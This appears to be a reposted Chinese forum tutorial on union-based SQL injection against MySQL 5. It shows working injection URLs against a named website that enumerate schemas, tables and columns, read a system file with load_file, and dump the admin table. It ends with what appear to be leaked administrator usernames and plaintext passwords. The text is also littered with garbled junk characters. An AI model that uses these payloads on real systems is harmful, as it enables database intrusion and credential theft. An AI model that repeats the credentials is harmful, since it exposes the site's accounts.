此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似" @3 |. s: @0 @$ \
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
; i4 }# A7 y" S4 Q! ^. z. ?: b4 K, r6 j9 O
! k8 W7 d8 O1 ^8 |& m优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
+ c4 p- r/ q7 U) Y# J/ a4 q& n7 X$ |5 Y9 S* ]5 `+ i
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
- v2 Y3 H* g9 e+ d: [7 `. p+ p; b6 j3 X. x, F
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
% B+ E' O" Q, U" i3 c. ^2 D在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
* M5 Y! \! E% T5 k+ f* W3 Z- e) Y9 P5 o: y
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
8 h$ C( K+ W0 V8 }, s; P; R- Y7 V; }0 J/ w. C. c. { `
读出所有库:
. W+ u& Y2 N( T& ?) r- X4 {http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA7 T/ G3 ]7 R- R/ _* W/ v0 H
: `2 _2 i6 T. u8 c) b7 k* i( x1 B0 x
% f) q; g. e L: Q( C: e6 J
S! f- }0 P4 `6 |读出所有表:+ H( b/ X6 T" H* P
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()3 K% W+ U$ C ?. { ~4 x/ u
4 r6 G+ P9 n9 j- Q- p) Z读出所有表字段:
1 T- u# ~% R; L7 J& J& mhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)8 ~& a/ x9 F! M% ]' M
*/ (97,100,109,105,110)为admin的ascii码 依次类推+ X3 e) q; l) M4 x9 H \8 f
' H P7 a) E3 R2 {( G+ Y读出所有表字段里的内容:, H. |$ u3 j- L; e, K3 H) b/ o5 S
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin/ L# L/ T- L c/ \' Y
: m5 l3 K* X& s
! x# o* t9 T. L& ^& X
3 H; x6 a6 x( c0 i# s: k) ?8 q; N9 l; J
: O, w; w3 L' B! Q' \7 j( m$ _' B4 |9 l' X
% M7 p$ ^- {. L; `' X
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
) K6 \1 T" J% M7 M# B( u1 _% T% ~6 ], N6 {- |$ ]
2 ~' P6 g Y! Z+ q5 F8 C4 t' i
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
@+ n2 T7 M! r, f2 Y
/ a9 S% ^9 k- Phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
! Y; A" W% M5 @* V
. b4 Y: G$ b. n% |" |# O
* _! }" b1 k+ {& U" e* bhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%235 L8 I/ F& `4 m9 P ?
5 i v7 I( v0 q; j) p: {. y% Y) X2 \3 x5 s5 [/ P" X/ t' y
webmaster:dzb521123,simlab:simadmin20043233% L, Y1 Z' V# K" V; Z! ^" R* r
|